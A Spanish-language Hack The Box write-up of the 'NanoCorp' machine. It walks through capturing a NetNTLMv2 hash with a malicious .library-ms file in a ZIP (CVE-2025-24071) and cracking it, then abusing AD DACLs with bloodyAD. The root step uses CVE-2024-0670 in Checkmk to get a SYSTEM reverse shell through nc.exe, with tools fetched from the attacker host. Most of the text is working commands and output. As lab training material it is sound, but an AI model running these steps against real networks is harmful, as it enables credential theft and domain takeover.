NanoCorp WriteUp

Table of Contents

NanoCorp WriteUp

NanoCorp es una máquina de dificultad 🟥 Hard de la plataforma Hack The Box. La cadena de ataque empieza en un portal de empleo que acepta CVs en ZIP: empaquetando un fichero .library-ms malicioso (CVE-2025-24071) conseguimos que el servidor, al extraerlo, intente autenticarse por SMB contra nuestra máquina, filtrando el hash NetNTLMv2 de una cuenta de servicio. Tras crackear esa contraseña, usamos BloodHound para mapear el dominio y descubrimos una cadena de abuso de DACLs que nos permite unirnos a un grupo privilegiado y resetear la contraseña de otra cuenta de servicio con acceso WinRM. La escalada final explota CVE-2024-0670 en el agente de monitorización Checkmk, abusando de la reparación de su instalador MSI para ejecutar nuestro propio script como NT AUTHORITY\SYSTEM.

🗺️ Cadena de Ataque

Recon → DC Windows (nanocorp.htb / DC01.nanocorp.htb)
      │
      ▼
hire.nanocorp.htb → portal de empleo, sube CV en ZIP
      │
      ▼
CVE-2025-24071 → .library-ms en ZIP → Responder → NetNTLMv2 de web_svc
      │
      ▼
hashcat -m 5600 → contraseña de web_svc
      │
      ▼
BloodHound → web_svc AddSelf IT_SUPPORT → ForceChangePassword sobre monitoring_svc
      │
      ▼
bloodyAD → reset password monitoring_svc → winrmexec (Kerberos) → User Flag 🚩
      │
      ▼
CVE-2024-0670 (Checkmk Agent, :6556) → seed .cmd en C:\Windows\Temp → msiexec /fa → SYSTEM 🏴

🔍 Reconocimiento

Escaneo de Puertos

Añadimos nanocorp.htb a /etc/hosts:

echo "10.129.243.199 nanocorp.htb" | sudo tee -a /etc/hosts

Hacemos el reconocimiento en dos fases: descubrimiento rápido y luego detección de versiones sobre los puertos encontrados.

Fase 1 - Descubrimiento rápido de puertos TCP:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv nanocorp.htb

Fase 2 - Detección de versiones y scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv nanocorp.htb
PuertoServicioDetalle
53DNSSimple DNS Plus
80HTTPApache 2.4.58 (PHP 8.2.12), título “Nanocorp”
88Kerberosdominio nanocorp.htb
135, 49664-54135MSRPCMicrosoft Windows RPC (puertos dinámicos)
139, 445SMB / NetBIOSfirma requerida
389, 3268LDAPActive Directory (nanocorp.htb)
464kpasswd5
593RPC over HTTP
636, 3269LDAPS
5986WinRM (HTTPS)cert dc01.nanocorp.htb
6556Checkmk Agenttexto plano, versión 2.1.0p10 (vulnerable a CVE-2024-0670)
9389mc-nmf.NET Message Framing (AD Web Services)

🎯 Es un Domain Controller (DC01.nanocorp.htb, dominio nanocorp.htb) con un sitio web Apache/PHP en el 80. El vector de entrada está en el sitio web; el de escalada está en el puerto 6556, donde el agente de Checkmk (que corre como SYSTEM) está expuesto. Lo dejamos anotado para la fase de privesc.

💡 El agente de Checkmk responde en texto plano; conectándonos al 6556 confirmamos la versión, que es la pista para la escalada final:

nc -nv nanocorp.htb 6556 | head
# <<<check_mk>>>
# Version: 2.1.0p10
# AgentOS: windows

💡 nmap suele reportar un desfase de reloj (clock skew) considerable con este DC. Sincroniza la hora antes de usar Kerberos:

sudo ntpdate nanocorp.htb
# o, si usas faketime con bloodhound-python:
faketime "$(ntpdate -q nanocorp.htb | cut -d' ' -f1,2)" bloodhound-python ...

Enumeración Web

Navegando por http://nanocorp.htb, en la sección “About Us” hay un botón “Apply Now” que enlaza a hire.nanocorp.htb.

💡 Un fuzzing de vhosts con -ac (autocalibración) no detecta este subdominio: hire.nanocorp.htb devuelve una respuesta con el mismo status/tamaño que el vhost por defecto, así que -ac la descarta como falso positivo aunque el subdominio exista.

Lo añadimos a /etc/hosts y entramos:

sudo sed -i 's/nanocorp.htb/nanocorp.htb hire.nanocorp.htb/' /etc/hosts

🎯 hire.nanocorp.htb es el portal de empleo corporativo, con un formulario de candidatura que acepta la subida de un currículum en formato .zip.

💉 Acceso Inicial — CVE-2025-24071

🧠 CVE-2025-24071 es una vulnerabilidad de spoofing en el Explorador de Windows. Un fichero .library-ms puede definir una ruta UNC remota como ubicación de la “biblioteca”. Cuando Windows extrae un ZIP/RAR que contiene ese fichero (sin necesidad de que el usuario lo abra), el Explorador resuelve automáticamente la ruta UNC para generar las miniaturas/iconos, lo que dispara una autenticación SMB saliente hacia el host remoto. Si ponemos un listener (Responder) en esa IP, capturamos el hash NetNTLMv2 del usuario/servicio que procesó el ZIP.

Paso 1 — Generamos el .library-ms malicioso apuntando a nuestra IP de atacante. El fichero es un XML que define una biblioteca de Windows con una ubicación remota:

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
    <name>@windows.storage.dll,-34582</name>
    <version>6</version>
    <isLibraryPinned>true</isLibraryPinned>
    <iconReference>imageres.dll,-1003</iconReference>
    <templateInfo>
        <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
    </templateInfo>
    <searchConnectorDescriptionList>
        <searchConnectorDescription>
            <isDefaultSaveLocation>true</isDefaultSaveLocation>
            <isSupported>false</isSupported>
            <simpleLocation>
                <url>\\10.10.14.49\share</url>
            </simpleLocation>
        </searchConnectorDescription>
    </searchConnectorDescriptionList>
</libraryDescription>

Lo más sencillo es usar un PoC público que genera el fichero y lo empaqueta automáticamente, como 0x6rss/CVE-2025-24071_PoC :

git clone https://github.com/0x6rss/CVE-2025-24071_PoC
cd CVE-2025-24071_PoC
python3 poc.py
# enter file name: cv
# enter IP: 10.10.14.49

Esto genera cv.zip conteniendo cv.library-ms.

Paso 2 — Levantamos Responder en la interfaz de la VPN para capturar el hash entrante:

sudo responder -I tun0 -v

Paso 3 — Subimos cv.zip como currículum en el formulario de hire.nanocorp.htb. En cuanto el servidor procesa/extrae el ZIP (p. ej. para mostrar una vista previa del CV), el Explorador resuelve la ruta UNC y Responder captura la autenticación:

[SMB] NTLMv2-SSP Client   : 10.129.243.199
[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash     : web_svc::NANOCORP:82d721ca6cdc4a83:0FA97341F8BC0CFFE60A2545492E449D:0101000000000000806880CD12FBDC01BBB5623502ADC4E600000000020008004B00570036004D0001001E00570049004E002D0046004800510030004E004A005400370045003400320004003400570049004E002D0046004800510030004E004A00540037004500340032002E004B00570036004D002E004C004F00430041004C00030014004B00570036004D002E004C004F00430041004C00050014004B00570036004D002E004C004F00430041004C0007000800806880CD12FBDC0106000400020000000800300030000000000000000000000000200000785B2D2B3188A026CEDD9CB389A78DD4E6810538F742AFD088E270857FBB54260A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00340039000000000000000000

🔑 Hash NetNTLMv2 capturado para NANOCORP\web_svc.

Paso 4 — Guardamos el hash en web_svc.hash y lo crackeamos con hashcat (modo 5600 = NetNTLMv2):

hashcat -m 5600 -a 0 web_svc.hash /usr/share/wordlists/rockyou.txt
WEB_SVC::NANOCORP:82d721ca6cdc4a83:0fa97341f8bc0cffe60a2545492e449d:...:dksehdgh712!@#

🔑 Credenciales obtenidas: web_svc:dksehdgh712!@#

🔀 Movimiento Lateral — Abuso de DACLs

Con credenciales válidas, enumeramos el dominio con BloodHound:

bloodhound-python -u 'web_svc' -p 'dksehdgh712!@#' -d nanocorp.htb -ns 10.129.243.199 -c All --zip

💡 Alternativa: SharpHound desde Windows a través de la VPN de Kali

Si prefieres el colector oficial en C# (SharpHound.exe) desde una VM Windows sin VPN, hay que enrutar su tráfico por Kali. Dos gotchas que cuestan horas:

  • Defender bloquea SharpHound (embebe SharpHoundCommonLib con Costura → BadImageFormatException ... HRESULT: 0x800700E1, ERROR_VIRUS_INFECTED). En tu VM de ataque, excluye la carpeta y re-coloca el .exe: Add-MpPreference -ExclusionPath 'C:\Tools\SharpHound'.
  • El transporte importa: un SOCKS con ssh -D 1080 + Proxifier vale para herramientas TCP puras, pero SharpHound descubre el dominio por DNS (SRV, UDP) y ssh -D es solo TCP → falla con “Unable to resolve a domain to use”. (Si Proxifier no engancha nada, suele ser la Integridad de memoria / Core Isolation de Windows bloqueando la inyección, o Proxifier sin admin.) La vía fiable es enrutar por Kali, que sí lleva UDP.

Paso 1 — Kali como gateway (reenvío + NAT por la VPN; confirma interfaces con ip a, normalmente host-only eth0 + VPN tun0):

sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE
sudo iptables -A FORWARD -i eth0 -o tun0 -j ACCEPT
sudo iptables -A FORWARD -i tun0 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT

Paso 2 — En Windows (admin): ruta a la subred de HTB vía Kali y DNS apuntando al DC (para resolver nanocorp.htb y sus SRV):

route add 10.129.0.0 mask 255.255.0.0 192.168.100.223
Set-DnsClientServerAddress -InterfaceAlias Ethernet0 -ServerAddresses 10.129.243.199
ipconfig /flushdns

Paso 3 — Lanzamos SharpHound con credenciales explícitas (la VM no está unida al dominio), apuntando al DC y saltándonos el chequeo de 445 (que por túnel da guerra):

.\SharpHound.exe -c All -d nanocorp.htb --domaincontroller 10.129.243.199 --ldapusername web_svc --ldappassword 'dksehdgh712!@#' --skipportcheck --outputprefix nanocorp --zipfilename nanocorp_bh.zip

💡 --ldapusername/--ldappassword hace un bind LDAP sin Kerberos (sin clock skew). Un SASL bind ... data 52e que salga solo en los colectores de DC (CARegistry/CertServices/NTLMRegistry) es normal desde una VM no unida al dominio y no afecta al grafo principal (usa -c Default/-c DCOnly para una corrida limpia). El .zip se importa en el BloodHound GUI igual que el de bloodhound-python. Estos cambios de red son temporales (se van al reiniciar) salvo el DNS del adaptador → revértelo con Set-DnsClientServerAddress -InterfaceAlias Ethernet0 -ResetServerAddresses.

Cargamos los datos en BloodHound y buscamos el camino más corto desde web_svc hasta Domain Admins. Aparece la siguiente cadena de permisos:

web_svc       --(AddSelf)-->            IT_SUPPORT
IT_SUPPORT    --(ForceChangePassword)--> monitoring_svc
monitoring_svc --(MemberOf)-->           Remote Management Users

🎯 web_svc puede añadirse a sí mismo al grupo IT_SUPPORT, que a su vez puede resetear la contraseña de monitoring_svc — una cuenta que pertenece a Remote Management Users (acceso WinRM).

Si no tienes bloodyAD instalado, lo instalamos con pipx:

pipx install bloodyAD

Paso 1 — Nos añadimos al grupo IT_SUPPORT con bloodyAD:

bloodyAD --host 10.129.243.199 -d nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' add groupMember IT_SUPPORT web_svc

Paso 2 — Con el privilegio heredado de IT_SUPPORT, reseteamos la contraseña de monitoring_svc vía LDAP con bloodyAD (un único comando):

bloodyAD --host 10.129.243.199 -d nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' set password monitoring_svc 'Nanocorp123!@#'
[+] Password changed successfully!

⚠️ Cuidado con CÓMO reseteas — monitoring_svc está en Protected Users (visible en BloodHound junto a Remote Management Users), lo que deshabilita NTLM y obliga a Kerberos AES-only. Por eso NO sirve un reset por RC4/SAMR (p. ej. impacket-changepasswd -reset): cambia el hash NTLM pero deja las claves AES inválidas → después impacket-getTGT falla con KDC_ERR_PREAUTH_FAILED. La vía correcta es bloodyAD set password (LDAP unicodePwd): envía la contraseña en texto claro, así que el DC deriva todas las claves Kerberos (RC4 + AES). Y al ser un reset (derecho Reset Password heredado de IT_SUPPORT) se salta la minimum password age — no encadenes dos cambios seguidos (un RC4 + un LDAP), porque el segundo chocaría con la edad mínima: Password can't be changed ... minimum password age policy.

Paso 3 — Obtenemos el TGT con impacket-getTGT (negocia AES automáticamente, sin tocar /etc/krb5.conf):

impacket-getTGT 'nanocorp.htb/monitoring_svc:Nanocorp123!@#'
export KRB5CCNAME=monitoring_svc.ccache
[*] Saving ticket in monitoring_svc.ccache

Paso 4 — Conectamos vía WinRM con Kerberos (puerto 5986).

⚠️ evil-winrm no sirve aquí: con NTLM (-S) falla con WinRM::WinRMAuthorizationError (Protected Users desactiva NTLM) y con Kerberos (-r) la gema gssapi de Ruby suele colgarse/fallar. Usamos winrmexec (basado en impacket, soporta Kerberos por ccache).

git clone https://github.com/ozelis/winrmexec

Su timeout por defecto es de 1 segundo (provoca failed to create pipeline en casi cualquier comando), así que lo subimos con -timeout; y pasamos -dc-ip explícito para que use la IP del DC y no el nombre del dominio:

python3 winrmexec/winrmexec.py -ssl -port 5986 -k -dc-ip 10.129.243.199 nanocorp.htb/monitoring_svc@dc01.nanocorp.htb -no-pass -timeout 30
[*] using domain and username from ccache: NANOCORP.HTB\monitoring_svc
[*] requesting TGS for HTTP/dc01.nanocorp.htb@NANOCORP.HTB
PS C:\Users\monitoring_svc\Documents> whoami
nanocorp\monitoring_svc

⚠️ Gotcha de frescura/persistencia (importante en esta box). Ejecuta reset (bloodyAD) → getTGT → winrmexec seguidos, sin pausas, por dos motivos. (1) El TGT caduca: si tardas, el ticket del ccache expira; al reusarlo el DC lo rechaza y los clientes lo gestionan fatal — winrmexec revienta con pyasn1 EndOfStreamError y netexec con 'NoneType' object has no attribute 'execute_cmd'. No es un bug del cliente: un impacket-getST lo confirma con KRB_AP_ERR_TKT_EXPIRED. (2) La box revierte AD cada cierto tiempo y restaura la contraseña original de monitoring_svc, con lo que getTGT empieza a dar KDC_ERR_PREAUTH_FAILED (aquí porque la contraseña ya no es la tuya — distinto del PREAUTH por claves AES del reset RC4 del Paso 2). En ambos casos: repite el reset con bloodyAD y saca un TGT nuevo, todo seguido.

🚩 User Flag

PS C:\Users\monitoring_svc\Documents> cd ..\desktop
PS C:\Users\monitoring_svc\desktop> type user.txt
<user_flag>

🧗‍♂️ Escalada de Privilegios — CVE-2024-0670 (Checkmk Agent) → SYSTEM

🧠 CVE-2024-0670 afecta al agente de Windows de Checkmk anterior a 2.2.0p23 / 2.1.0p40 (la máquina corre 2.1.0p10, que confirmamos en el 6556). El agente corre como NT AUTHORITY\SYSTEM y, durante la reparación de su MSI, escribe y ejecuta ficheros .cmd con nombres predecibles (cmk_all_<PID>_<contador>.cmd) en C:\Windows\Temp. La condición de carrera: si pre-sembramos esos ficheros como solo lectura con nuestro propio payload, cuando el agente (SYSTEM) intenta crearlos no puede sobrescribir los nuestros pero igualmente ejecuta el .cmd que hemos plantado → ejecución como SYSTEM. (.cmd no lo escanea Defender a tiempo.)

El bloqueo clave: ni escribir ni reparar desde el logon de red

Aquí está el verdadero reto “Hard”. Desde nuestra sesión WinRM (monitoring_svc) chocamos con dos muros:

# 1) escribir el payload en C:\Windows\Temp:
Access to the path 'C:\Windows\Temp\cmk_all_1000_0.cmd' is denied.

# 2) disparar la reparación:
msiexec.exe /fa "C:\Windows\Installer\1e6f2.msi" /qn   →  exit 1601 (The Windows Installer service could not be accessed)

⚠️ Por qué falla y cómo se resuelve: WinRM autentica con un logon de tipo 3 (Network). Con ese token, monitoring_svc no puede escribir en C:\Windows\Temp y el servicio Windows Installer (msiserver) rechaza la reparación (1601). La solución a los dos de golpe: usar RunasCs para crear un logon interactivo (tipo 2) con las credenciales de web_svc y lanzar ahí el exploit completo. Usamos web_svc porque no está en Protected Users (logon limpio) y porque tiene permiso de escritura sobre C:\Windows\Temp.

Paso 1 — Localizar el MSI del agente

Necesitamos la ruta del MSI instalado para forzar su reparación; la sacamos del registro (sin disparar el lento Win32_Product):

PS C:\Users\monitoring_svc\Documents> Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties" | ForEach-Object { $_.GetValue("DisplayName"); $_.GetValue("LocalPackage") }
Check MK Agent 2.1
C:\Windows\Installer\1e6f2.msi

🎯 El paquete local es C:\Windows\Installer\1e6f2.msi (el nombre aleatorio cambia por instalación; el exploit.ps1 lo autodetecta filtrando DisplayName -like '*mk*').

Paso 2 — Stagear las herramientas en C:\Windows\Tasks

Servimos RunasCs.exe, nc.exe y el exploit.ps1 de tralsesec/CVE-2024-0670 con goshs, y los bajamos a C:\Windows\Tasks (legible por todos y escribible por la cuenta de servicio — el PoC usa esa carpeta por defecto):

git clone https://github.com/tralsesec/CVE-2024-0670
cp /usr/share/windows-resources/binaries/nc.exe ~/http/
cp CVE-2024-0670/exploit.ps1 ~/http/
# RunasCs.exe de la release de antonioCoco/RunasCs → ~/http/
goshs -d ~/http -p 80 -i 0.0.0.0
PS C:\Users\monitoring_svc\Documents> iwr http://10.10.14.49/nc.exe       -OutFile C:\Windows\Tasks\nc.exe
PS C:\Users\monitoring_svc\Documents> iwr http://10.10.14.49/RunasCs.exe  -OutFile C:\Windows\Tasks\RunasCs.exe
PS C:\Users\monitoring_svc\Documents> iwr http://10.10.14.49/exploit.ps1  -OutFile C:\Windows\Tasks\exploit.ps1

Editamos el bloque # CONFIG de exploit.ps1 (en Kali, antes de subirlo) con nuestros datos:

$LHOST  = "10.10.14.49"
$LPORT  = "8443"
$NcPath = "C:\Windows\Tasks\nc.exe"
$MinPID = 1000
$MaxPID = 15000

Paso 3 — Listener + lanzar el exploit vía RunasCs (como web_svc)

Levantamos el listener con Penelope (recibirá la shell de SYSTEM):

penelope -p 8443

El exploit.ps1 siembra C:\Windows\Temp\cmk_all_<PID>_<ctr>.cmd (PID 1000–15000, contador 0 y 1~28.000 ficheros, en solo lectura) con el payload nc.exe -e cmd.exe, y después lanza msiexec /fa para forzar la reparación. Lo ejecutamos entero a través de RunasCs como web_svc, de modo que tanto la siembra (escritura en C:\Windows\Temp) como el msiexec corren bajo un logon interactivo válido:

PS C:\Users\monitoring_svc\Documents> C:\Windows\Tasks\RunasCs.exe web_svc 'dksehdgh712!@#' "powershell -ExecutionPolicy Bypass -File C:\Windows\Tasks\exploit.ps1" --logon-type 2

💡 Lanzar todo el exploit con RunasCs/web_svc resuelve los dos muros del logon de red de una vez: el Access denied al sembrar y el 1601 del msiexec. Si --logon-type 2 diera problemas, prueba 8 (NetworkCleartext) o 4 (Batch).

Paso 4 — Shell de SYSTEM y Root Flag

Cuando la reparación procesa uno de nuestros .cmd, nc.exe se conecta de vuelta a Penelope como NT AUTHORITY\SYSTEM:

[+] Got reverse shell from nanocorp~10.129.243.199 😍
C:\Windows\system32> whoami
nt authority\system

Shell de SYSTEM obtenida — el agente de Checkmk corría como SYSTEM, así que ya somos SYSTEM en el DC.

🏴 Root Flag

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
<root_flag>

📝 Resumen de la Cadena

#TécnicaHerramientaResultado
1ReconocimientonmapDC nanocorp.htb, Apache + Checkmk Agent expuestos
2Enumeración de vhostsffufhire.nanocorp.htb (portal de empleo)
3CVE-2025-24071.library-ms en ZIP + responderNetNTLMv2 de web_svc
4Cracking de hashhashcat -m 5600web_svc:dksehdgh712!@#
5Enumeración ADbloodhound-pythonCadena DACL web_svc → IT_SUPPORT → monitoring_svc
6Abuso de DACLsbloodyADReset de contraseña de monitoring_svc
7Acceso WinRM Kerberos (Protected Users)winrmexecShell como monitoring_svc + User Flag 🚩
8CVE-2024-0670 (Checkmk) + logon interactivoRunasCs, msiexec /fa, penelopeShell NT AUTHORITY\SYSTEM + Root Flag 🏴

Un saludo, nos vemos en el próximo challenge.